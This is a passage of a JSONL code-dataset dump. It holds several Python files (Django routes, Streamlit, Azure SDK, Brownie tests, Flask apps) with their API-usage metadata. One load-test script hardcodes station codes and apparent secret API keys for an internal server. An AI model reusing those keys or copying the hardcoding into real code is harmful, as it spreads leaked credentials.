"lib.Logging", "line_number": 292, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 294, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 294, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 297, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 297, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 302, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 302, "usage_type": "name"}, {"api_name": "sys.path.append", "line_number": 307, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 307, "usage_type": "attribute"}, {"api_name": "sys.path.remove", "line_number": 311, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 311, "usage_type": "attribute"}, {"api_name": "lib.Logging.get_logger", "line_number": 366, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 366, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 368, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 368, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 370, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 370, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 377, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 377, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 379, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 379, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 385, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 385, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 387, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 387, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 391, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 391, "usage_type": "name"}]} +{"seq_id": "14347916187", "text": "from django.urls import path\nfrom . import views\n\napp_name = 'movies'\nurlpatterns = [\n path('', views.movie_list),\n path('genre/', views.genre_menu),\n path('get_data/', views.create_json),\n path('/getmovielike/', views.get_likes),\n path('/postmovielike/', views.likes),\n path('/', views.movie_detail),\n path('/reviews/', views.review_list),\n path('/reviews/', views.review_create),\n path('reviews//', views.review_detail),\n path('create_genre_list//', views.genre_list),\n path('create_ott_list//', views.create_ott_list),\n\n]\n\n#BE\n\n# python -m venv venv\n# source venv/Scripts/activate\n# pip install -r requirments.txt\n# python manage.py migrate\n# python manage.py loaddata actors.json directors.json genres.json movies.json otts.json\n# python manage.py runserver\n\n#FE \n\n# npm i\n# npm run serve\n\n# data 뽑기\n# 장고서버 켜서 http://127.0.0.1:8000/movies/get_data/ 경로 실행\n\n# python manage.py loaddata actors.json directors.json genres.json movies.json otts.json\n# python -Xutf8 manage.py dumpdata --indent 4 movies.Movie > movies.json\n# python -Xutf8 manage.py dumpdata --indent 4 movies.Genre > genres.json\n# python -Xutf8 manage.py dumpdata --indent 4 movies.Actor > actors.json\n# python -Xutf8 manage.py dumpdata --indent 4 movies.Director > directors.json\n# python -Xutf8 manage.py dumpdata --indent 4 movies.Watch_Provider > otts.json", "repo_name": "Lee-hanbin/Molva", "sub_path": "back_end/movies/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1494, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "80", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "11381871083", "text": "\"\"\"\r\n# My first app\r\nHere's our first attempt at using data to create a table:\r\n\"\"\"\r\n\r\n\r\nimport streamlit as st\r\nimport snowflake.connector\r\nimport pandas as pd\r\n\r\ndf = pd.DataFrame({\r\n 'first column': [1, 2, 3, 4],\r\n 'second column': [10, 20, 30, 40]\r\n})\r\n\r\ndf\r\n# Initialize connection.\r\n# Uses st.experimental_singleton to only run once.\r\n@st.experimental_singleton\r\ndef init_connection():\r\n return snowflake.connector.connect(**st.secrets[\"snowflake\"])\r\n\r\nconn = init_connection()\r\n\r\n# Perform query.\r\n# Uses st.experimental_memo to only rerun when the query changes or after 10 min.\r\n@st.experimental_memo(ttl=600)\r\ndef run_query(query):\r\n with conn.cursor() as cur:\r\n cur.execute(query)\r\n return cur.fetchall()\r\n\r\nrows = run_query(\"SELECT * from trips limit 10;\")\r\n\r\n# Print results.\r\nfor row in rows:\r\n st.write(f\"{row[0]} has a :{row[1]}:\")\r\n", "repo_name": "pallavisharma2609/MinePublic", "sub_path": "Streamlittest.py", "file_name": "Streamlittest.py", "file_ext": "py", "file_size_in_byte": 874, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "pandas.DataFrame", "line_number": 11, "usage_type": "call"}, {"api_name": "snowflake.connector.connector.connect", "line_number": 21, "usage_type": "call"}, {"api_name": "snowflake.connector.connector", "line_number": 21, "usage_type": "attribute"}, {"api_name": "snowflake.connector", "line_number": 21, "usage_type": "name"}, {"api_name": "streamlit.secrets", "line_number": 21, "usage_type": "attribute"}, {"api_name": "streamlit.experimental_singleton", "line_number": 19, "usage_type": "attribute"}, {"api_name": "streamlit.experimental_memo", "line_number": 27, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 37, "usage_type": "call"}]} +{"seq_id": "38037930937", "text": "import os\n\nimport openai\n\nos.environ.get(\"OPENAI_API_KEY\")\n\ndef get_completion(prompt, model=\"gpt-3.5-turbo\"):\n messages = [{\"role\": \"user\", \"content\": prompt}]\n response = openai.ChatCompletion.create(\n model=model,\n messages=messages,\n temperature=0.1,\n )\n print(response)\n return response.choices[0].message[\"content\"].strip()", "repo_name": "TypeFloat/Useful-GPT", "sub_path": "mygpt/gpt/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 365, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "os.environ.get", "line_number": 5, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 5, "usage_type": "attribute"}, {"api_name": "openai.ChatCompletion.create", "line_number": 9, "usage_type": "call"}, {"api_name": "openai.ChatCompletion", "line_number": 9, "usage_type": "attribute"}]} +{"seq_id": "10368316653", "text": "from typing import List\n\nclass Solution:\n def processQueries(self, queries: List[int], m: int) -> List[int]:\n permut = [i for i in range(1,m+1)]\n res = []\n for query in queries:\n idx = permut.index(query)\n res.append(idx)\n permut.pop(idx)\n permut.insert(0, query)\n return res\n\n\nif __name__ == \"__main__\":\n S = Solution()\n ans = S.processQueries([3,1,2,1], 5)\n print(ans)", "repo_name": "kaestro/algorithms_v2", "sub_path": "contest/leetcode/184/queries on a permutation with key.py", "file_name": "queries on a permutation with key.py", "file_ext": "py", "file_size_in_byte": 454, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "typing.List", "line_number": 4, "usage_type": "name"}]} +{"seq_id": "22141612882", "text": "import pytest\nimport logging\nfrom brownie import chain, Wei, reverts\nLOGGER = logging.getLogger(__name__)\nfrom web3 import Web3\n\n\nPRICE = 1e18\nzero_address = '0x0000000000000000000000000000000000000000'\n\n#service provider has Agent. Buy ticket for erc20 and call agent buySubscription method. With Agent. Ticket is with expiring time\ndef test_buy_subscription(accounts, dai, weth, sub_reg, minter2, agent):\n\n\tpayOptions = [(dai, PRICE, 100), (weth, PRICE/5, 100)] #with Agent fee\n\tsubscriptionType = (0,100,0,True, accounts[3])\n\ttariff1 = (subscriptionType, payOptions)\n\n\t#add tokens to whiteList\n\tsub_reg.setAssetForPaymentState(dai, True, {'from':accounts[0]})\n\tsub_reg.setAssetForPaymentState(weth, True, {'from':accounts[0]})\n\n\t#register tariffs for service\n\tminter2.registerServiceTariff(tariff1,{'from':accounts[0]})\n\t#register agent - separate agent\n\tminter2.authorizeAgentForService(agent.address, [0],{\"from\": accounts[0]})\n\t\n\tpay_amount = payOptions[1][1]*(sub_reg.PERCENT_DENOMINATOR()+sub_reg.platformFeePercent() + payOptions[1][2])/sub_reg.PERCENT_DENOMINATOR()\n\n\t#pay for erc20\n\tweth.transfer(accounts[1], pay_amount, {\"from\": accounts[0]})\n\tweth.approve(sub_reg.address, pay_amount, {\"from\": accounts[1]})\n\n\tbefore_acc1 = weth.balanceOf(accounts[1])\n\tbefore_acc0 = weth.balanceOf(accounts[0])\n\tbefore_acc3 = weth.balanceOf(accounts[3])\n\tbefore_agent = weth.balanceOf(agent.address)\n\tagent.buySubscription(minter2.address, 0, 1, accounts[1], accounts[1], {\"from\": accounts[1]})\n\n\tticket = sub_reg.getUserTicketForService(minter2.address, accounts[1])\n\tassert ticket[0] > 0\n\tassert ticket[1] == subscriptionType[2]\n\n\t#check balance\n\tassert weth.balanceOf(accounts[1]) == before_acc1 - pay_amount # payer balance\n\tassert weth.balanceOf(accounts[0]) == before_acc0 + payOptions[1][1]*sub_reg.platformFeePercent()/sub_reg.PERCENT_DENOMINATOR() # planform beneficiary balance\n\tassert weth.balanceOf(accounts[3]) == before_acc3 + payOptions[1][1] # serviceProvider beneficiary balance\n\tassert weth.balanceOf(agent) == before_agent + payOptions[1][1]*payOptions[1][2]/sub_reg.PERCENT_DENOMINATOR() # agent balance\n\n\tminter2.mint(1, {\"from\": accounts[1]})\n\n\tassert minter2.ownerOf(1) == accounts[1]\n\n\tchain.sleep(120)\n\tchain.mine()\n\n\twith reverts(\"Valid ticket not found\"):\n\t\tminter2.mint(2, {\"from\": accounts[1]})\n\n\tbalance_agent = weth.balanceOf(agent)\n\tbalance_acc4 = weth.balanceOf(accounts[4])\n\twith reverts(\"Ownable: caller is not the owner\"):\n\t\tagent.withdrawTokens(weth.address, accounts[4], {\"from\": accounts[1]})\n\tagent.withdrawTokens(weth.address, accounts[4])\n\tassert weth.balanceOf(agent) == 0\n\tassert weth.balanceOf(accounts[4]) == balance_agent + balance_acc4", "repo_name": "dao-envelop/subscription", "sub_path": "tests/test_a_buySubscription_10.py", "file_name": "test_a_buySubscription_10.py", "file_ext": "py", "file_size_in_byte": 2682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "brownie.chain.sleep", "line_number": 53, "usage_type": "call"}, {"api_name": "brownie.chain", "line_number": 53, "usage_type": "name"}, {"api_name": "brownie.chain.mine", "line_number": 54, "usage_type": "call"}, {"api_name": "brownie.chain", "line_number": 54, "usage_type": "name"}, {"api_name": "brownie.reverts", "line_number": 56, "usage_type": "call"}, {"api_name": "brownie.reverts", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "3063643303", "text": "# https://docs.microsoft.com/en-us/python/azure/python-sdk-azure-authenticate?view=azure-python\n\nfrom azure.common.credentials import get_azure_cli_credentials, ServicePrincipalCredentials\nimport azure.mgmt.resource\nimport os, sys\n\ntry:\n tenant = os.environ[\"AZ_AD_TENANT\"]\n client_id = os.environ[\"AZ_AD_ID\"]\n secret = os.environ[\"AZ_AD_PASS\"]\nexcept KeyError as ke:\n print(\"set the following env variables:\")\n print(\"AZ_AD_ID\")\n print(\"AZ_AD_TENANT\")\n print(\"AZ_AD_PASS\")\n sys.exit(1)\n\ncredentials = ServicePrincipalCredentials(\n client_id=client_id,\n secret=secret,\n tenant=tenant)\n\nsubscription = get_azure_cli_credentials()[1]\n\nnew_resource_groups = [\"wewewe\", \"ererere\", \"fgfgfgfg\"]\nres_client = azure.mgmt.resource.ResourceManagementClient(credentials, subscription)\n\ndef print_resource_group_info(res_client):\n for res_group in res_client.resource_groups.list():\n for thing in [\"name\", \"id\", \"location\", \"tags\"]:\n print(\"{:.<10}{}{}{}\".format(thing,\"{0.\", thing, \"}\").format(res_group))\n print(\".\"*20)\n\nprint(\"===============Before\")\nprint_resource_group_info(res_client)\n\nfor new_resource_group in new_resource_groups:\n res_client.resource_groups.create_or_update(new_resource_group, {'location':'westus', 'tags':{'hello':'world'}}) \n\nprint(\"===============After\")\nprint_resource_group_info(res_client)\n\nprint(\"===============Cleanup\")\nasync_deletes = []\nfor old_resource_group in new_resource_groups:\n async_deletes += [(old_resource_group, res_client.resource_groups.delete(old_resource_group))]\n\nfor group_name, async_delete in async_deletes:\n print(\"deleting: {}\".format(group_name))\n async_delete.wait() \n \nprint(\"===============After cleanup\")\nprint_resource_group_info(res_client)\n\n", "repo_name": "OrpingtonClose/daily", "sub_path": "python/azure-python-login.py", "file_name": "azure-python-login.py", "file_ext": "py", "file_size_in_byte": 1779, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.environ", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 16, "usage_type": "call"}, {"api_name": "azure.common.credentials.ServicePrincipalCredentials", "line_number": 18, "usage_type": "call"}, {"api_name": "azure.common.credentials.get_azure_cli_credentials", "line_number": 23, "usage_type": "call"}, {"api_name": "azure.common.credentials.mgmt.resource.ResourceManagementClient", "line_number": 26, "usage_type": "call"}, {"api_name": "azure.common.credentials.mgmt", "line_number": 26, "usage_type": "attribute"}, {"api_name": "azure.common.credentials", "line_number": 26, "usage_type": "name"}]} +{"seq_id": "32027435282", "text": "# -*- coding: utf-8 -*-\nimport requests\nimport time\nimport random\nfrom mock_data import MockData\n\nfailed_count = {}\n\nfailed_detail = []\n\ndef get_url():\n return \"http://192.168.110.13:8006/api/\"\n # return \"http://127.0.0.1:8006/api/\"\n\ndef build_header():\n random_num = random.randint(0,5)\n headers = [\n [\"4510230181\",\"a60453ef-9e26-4db1-9524-3b4c5d5a073d\", \"平果光明\"],\n [\"4501240455\",\"fc2785bf-6a24-411b-932a-545688c83143\", \"马山莱士\"],\n [\"4506030308\",\"8e46d11d-271f-48fc-bc8e-d685f738d40d\", \"防城港泰邦\"],\n [\"4512260185\",\"dfa6da98-916e-4d66-8c4b-e2d358be05b9\", \"环江泰邦\"],\n [\"4511021076\",\"20a8087d-216e-467c-8c88-edba717bb250\", \"贺州华兰\"],\n [\"4501240455\",\"fc2785bf-6a24-411b-932a-545688c83143\", \"马山莱士\"]\n ]\n return headers[random_num]\n\ndef dat_post(path,dat):\n url = get_url() + path\n code,key,name = build_header()\n header = {}\n header[\"stationcode\"] = code\n header[\"secretkey\"] = key\n r = requests.post(url,json=dat,headers=header)\n return r,code\n\ndef req_result(re, fac_id):\n global failed_detail\n rdict = re.json()\n result = {}\n result[\"status\"] = rdict.get(\"status\")\n if not re.ok:\n result[\"error\"] = rdict.get(\"error\")\n result[\"exception\"] = rdict.get(\"exception\")\n result[\"message\"] = rdict.get(\"message\")\n result[\"dept\"] = fac_id\n else:\n result[\"status\"] = \"200\"\n result[\"body\"] = rdict\n failed_detail.append(result)\n return result\n\ndef mock_test(index):\n global failed_count\n mock = MockData()\n path,dat = mock.random_data(index)\n result,fac_id = dat_post(path,dat)\n if not result.ok:\n if path in failed_count:\n failed_count[path] += 1\n else:\n failed_count[path] = 1\n req_result(result, fac_id)\n\ndef main():\n start_time = time.time()\n count = 0\n cycles = 10\n for i in range(cycles * 8):\n mock_test(i)\n count += 1\n if count % 100 == 0:\n c_end_time = time.time()\n print(\"%f s, count is: %d\" %((c_end_time - start_time), count))\n end_time = time.time()\n print(\"Time consuming: %f s, Count: %d\" % ((end_time - start_time),count))\n print(\"Failed Count: %s \" % str(failed_count))\n for msg in failed_detail:\n print(msg)\n\nif __name__ == \"__main__\":\n main()\n time.sleep(8)\n", "repo_name": "FictionDk/python-repo", "sub_path": "base-api-test/berrysup_test.py", "file_name": "berrysup_test.py", "file_ext": "py", "file_size_in_byte": 2389, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "80", "api": [{"api_name": "random.randint", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 33, "usage_type": "call"}, {"api_name": "mock_data.MockData", "line_number": 54, "usage_type": "call"}, {"api_name": "time.time", "line_number": 65, "usage_type": "call"}, {"api_name": "time.time", "line_number": 72, "usage_type": "call"}, {"api_name": "time.time", "line_number": 74, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 82, "usage_type": "call"}]} +{"seq_id": "5765944542", "text": "import sys, os\nfrom flask import Flask, jsonify, render_template, redirect, request, url_for\nfrom flask.wrappers import Response\nfrom imutils.video import VideoStream\nimport signal\nimport logging\nimport yaml\nfrom types import SimpleNamespace\nfrom copy import deepcopy\n\nfrom camera.tools.config import parse, unparse, unwrap_hsv\nfrom camera.tools.colour import hsv_to_hex\nfrom video import VideoProcessor\n\nawb_modes = [\n \"off\",\n \"auto\",\n \"sunlight\",\n \"cloudy\",\n \"shade\",\n \"tungsten\",\n \"fluorescent\",\n \"incandescent\",\n \"flash\",\n \"horizon\",\n \"greyworld\"\n]\n\ndef create_app(server_type, conf, conf_path, camera_stream=None):\n app = Flask(__name__)\n app.debug = True\n conf.conf_path = conf_path\n\n logging.info(f\"Creating {server_type} server with config:\\n{conf}\")\n proc = VideoProcessor(conf, camera_stream)\n\n def handler(signum, frame):\n res = input(\"Do you want to exit? Press y.\")\n if res == 'y':\n proc.stop()\n exit(1)\n\n signal.signal(signal.SIGINT, handler)\n\n def is_running():\n if proc.running:\n return \"Tracking is running, view at the live feed.\"\n else:\n return \"Tracking is off. Please press Start Tracking to begin the experiment.\"\n\n @app.route(\"/\")\n def index():\n return render_template(\"index.html\", running_text=is_running())\n\n @app.route(\"/sync\")\n def return_sync():\n return jsonify(proc.Sync)\n\n @app.route(\"/start_tracking\")\n def start_tracking():\n if not proc.running:\n proc.start()\n return redirect(url_for(\"observe\"))\n\n @app.route(\"/stop_tracking\")\n def stop_tracking():\n if proc.running:\n proc.stop()\n return redirect(url_for(\"index\"))\n\n @app.route(\"/calibrate\", methods = [ 'GET', 'POST' ])\n def calibrate():\n use_picamera = proc.config.server.CAMERA == 'pi'\n\n if request.method == 'GET':\n opts = unparse(proc.config)\n # color picker expects hex colours\n opts['detection']['min_colour'] = hsv_to_hex(vars(proc.config.detection.min_colour))\n opts['detection']['max_colour'] = hsv_to_hex(vars(proc.config.detection.max_colour))\n\n return render_template(\"calibrate.html\", use_picamera = use_picamera,\n conf_path = proc.config.conf_path, save_file = False, opts = opts, awb_modes = awb_modes)\n else:\n proc.update_tracking_conf(request.form['max_players'])\n proc.update_detection_conf(\n request.form['min_contour'], request.form['max_contour'],\n request.form['min_colour'], request.form['max_colour'])\n\n if use_picamera:\n proc.update_picamera(request.form['iso'], request.form['shutter_speed'],\n request.form['saturation'], request.form['awb_mode'])\n\n if 'save_file' in request.form:\n conf_path = request.form['conf_path']\n file = open(conf_path, 'w')\n conf_to_save = deepcopy(proc.config)\n conf_to_save.detection.min_colour = parse(unwrap_hsv(conf_to_save.detection.min_colour))\n conf_to_save.detection.max_colour = parse(unwrap_hsv(conf_to_save.detection.max_colour))\n delattr(conf_to_save, 'conf_path')\n yaml.dump(unparse(conf_to_save), file)\n\n return redirect(url_for(\"calibrate\"))\n\n @app.route(\"/observe\", methods = ['GET', 'POST'])\n def observe():\n if request.method == \"POST\":\n psi = int(request.form.get(\"manPsi\"))\n use_psi = request.form.get(\"psi\")\n\n if use_psi:\n proc.task = 'emergence'\n else:\n proc.set_manual_psi(psi)\n return render_template(\"observe.html\", running_text=is_running(), psi=proc.psi, task=proc.task)\n return render_template(\"observe.html\", running_text=is_running(), psi=proc.psi, task=proc.task)\n\n @app.route(\"/video_feed\")\n def video_feed():\n \"\"\"\n Direct generated frame to webserver\n\n Returns\n ------\n HTTP response of corresponding type containing the generated stream\n \"\"\"\n return Response(proc.generate_frame(),\n mimetype = \"multipart/x-mixed-replace; boundary=frame\")\n\n return app\n\n\nif __name__ == '__main__':\n server_type='observer'\n if len(sys.argv) > 1:\n server_type = sys.argv[1]\n\n host = os.environ.get('HOST', default = '0.0.0.0')\n port = int(os.environ.get('PORT', default = '8888'))\n conf_path = os.environ.get('CONFIG_PATH', default = './camera/config/default.yml')\n print(os.path.abspath(\".\"))\n\n logging.info(f\"Starting server, listening on {host} at port {port}, using config at {conf_path}\")\n\n with open(conf_path, 'r') as fh:\n yaml_dict = yaml.safe_load(fh)\n config = parse(yaml_dict)\n\n # NOTE: to use /dev/video* devices, you must launch in the main process\n # so we create the camera stream here\n camera_number = config.server.CAMERA\n camera_stream = None\n if camera_number != None and type(camera_number) == int:\n logging.info(f\"Opening Camera {camera_number}\")\n camera_stream = VideoStream(int(camera_number), framerate = config.camera.framerate)\n\n create_app(server_type, config, conf_path, camera_stream=camera_stream).run(\n host = host, port = port, debug = True,\n threaded = True, use_reloader = False)\n", "repo_name": "mearlboro/Synch.Live", "sub_path": "python/camera/server/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 5528, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "80", "api": [{"api_name": "flask.Flask", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 34, "usage_type": "call"}, {"api_name": "video.VideoProcessor", "line_number": 35, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 43, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 63, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 63, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 75, "usage_type": "name"}, {"api_name": "camera.tools.config.unparse", "line_number": 76, "usage_type": "call"}, {"api_name": "camera.tools.colour.hsv_to_hex", "line_number": 78, "usage_type": "call"}, {"api_name": "camera.tools.colour.hsv_to_hex", "line_number": 79, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 81, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 84, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 84, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 86, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 86, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 87, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 87, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 90, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 90, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 91, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 91, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 93, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 93, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 94, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 94, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 96, "usage_type": "call"}, {"api_name": "camera.tools.config.parse", "line_number": 97, "usage_type": "call"}, {"api_name": "camera.tools.config.unwrap_hsv", "line_number": 97, "usage_type": "call"}, {"api_name": "camera.tools.config.parse", "line_number": 98, "usage_type": "call"}, {"api_name": "camera.tools.config.unwrap_hsv", "line_number": 98, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 100, "usage_type": "call"}, {"api_name": "camera.tools.config.unparse", "line_number": 100, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 102, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 102, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 106, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 106, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 107, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 107, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 108, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 108, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 114, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 115, "usage_type": "call"}, {"api_name": "flask.wrappers.Response", "line_number": 126, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 134, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 135, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 137, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 137, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 138, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 138, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 139, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 142, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 145, "usage_type": "call"}, {"api_name": "camera.tools.config.parse", "line_number": 146, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 153, "usage_type": "call"}, {"api_name": "imutils.video.VideoStream", "line_number": 154, "usage_type": "call"}]} +{"seq_id": "15544508874", "text": "import json\nimport plotly\nimport pandas as pd\nimport re\nimport string\n\nimport nltk\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nnltk.download(['punkt', 'wordnet','stopwords'])\n\nfrom flask import Flask\nfrom flask import render_template, request, jsonify\nfrom plotly.graph_objs import Bar\nfrom plotly.graph_objs import Histogram\nfrom sklearn.externals import joblib\nfrom sqlalchemy import create_engine\n\n\napp = Flask(__name__)\n\ndef tokenize(text):\n \"\"\"\n process text data: text extraction, tokenization, lemmatization, & stopwords removal\n Args:\n text: input the\n\n Returns:\n clean tokens\n\n \"\"\"\n\n # extrac text based on the pattern\n text = re.sub(r\"[^a-zA-Z0-9]\", \" \", text)\n \n # get tokens and remove stopwords\n tokens = word_tokenize(text)\n tokens = [w for w in tokens if w not in stopwords.words(\"english\")]\n \n # text normalization: get the root stem\n lemmatizer = WordNetLemmatizer()\n\n clean_tokens = []\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n\n return clean_tokens\n\n# load data\n# create an engine\nengine = create_engine('sqlite:///../data/DisasterResponse.db')\n# read the data into a pandas dataframe\ndf = pd.read_sql_table('DisasterResponse', engine)\n\n# load model\nmodel = joblib.load(\"../models/classifier.pkl\")\n\n\n# index webpage displays cool visuals and receives user input text for model\n@app.route('/')\n@app.route('/index')\ndef index():\n \n # extract data needed for visuals\n # TODO: Below is an example - modify to extract data for your own visuals\n genre_counts = df.groupby('genre').count()['message']\n genre_names = list(genre_counts.index)\n \n\n # Get occurence of each type\n df_copy = df.copy()\n counts_percentage = df_copy.iloc[:,4:].sum()/len(df)\n col_names=df.iloc[:,4:].columns\n counts_top10=list(zip(col_names,counts_percentage))\n counts_top10_df=pd.DataFrame(counts_top10,columns=['Category','percentage'])\n counts_top10 = counts_top10_df.sort_values('percentage', ascending = False)[:10]\n\n \n # Get top 10 words\n \n top_words = {}\n\n stop_words = stopwords.words('english')\n punct = [p for p in string.punctuation]\n \n \n for message in df['message']: \n \n for word in message.split(): \n if word.lower() not in stop_words and word.lower() not in punct:\n if word in top_words:\n top_words[word] += 1\n else:\n top_words[word] = 1\n \n # get the number of words in each message\n df['message_len']=df['message'].apply(str.strip).apply(len)\n df['word_count']=df['message'].str.replace('[{}]'.format(string.punctuation), ' ').apply(str.split).apply(len)\n \n\n ax_2 = pd.DataFrame.from_dict(top_words, orient = 'index')\n ax_2.columns = ['Counts']\n top10_words_pct = ax_2.sort_values('Counts', ascending = False)[:10]['Counts']/len(df)\n top10_words = list(ax_2.sort_values('Counts', ascending = False)[:10].index) \n\n\n\n # create visuals\n # TODO: Below is an example - modify to create your own visuals\n graphs = [\n {\n 'data': [\n Bar(\n x=genre_names,\n y=genre_counts\n )\n ],\n\n 'layout': {\n 'title': 'Distribution of Message Genres',\n 'yaxis': {\n 'title': \"Count\"\n },\n 'xaxis': {\n 'title': \"Genre\"\n }\n }\n },\n\n {\n 'data': [\n Bar(\n x=counts_top10['Category'],\n y=counts_top10['percentage']\n \n )\n ],\n\n 'layout': {\n 'title': 'Top 10 Categories',\n 'yaxis': {\n 'title': \"%\"\n },\n 'xaxis': {\n 'title': \"Category\",\n 'tickangle': 0\n }\n }\n }\n \n \n \n \n , {\n 'data': [\n Bar(\n x=top10_words,\n y=top10_words_pct\n )\n ],\n\n 'layout': {\n 'title': 'Top 10 Most Used Words',\n 'yaxis': {\n 'title': \"%\"\n },\n 'xaxis': {\n 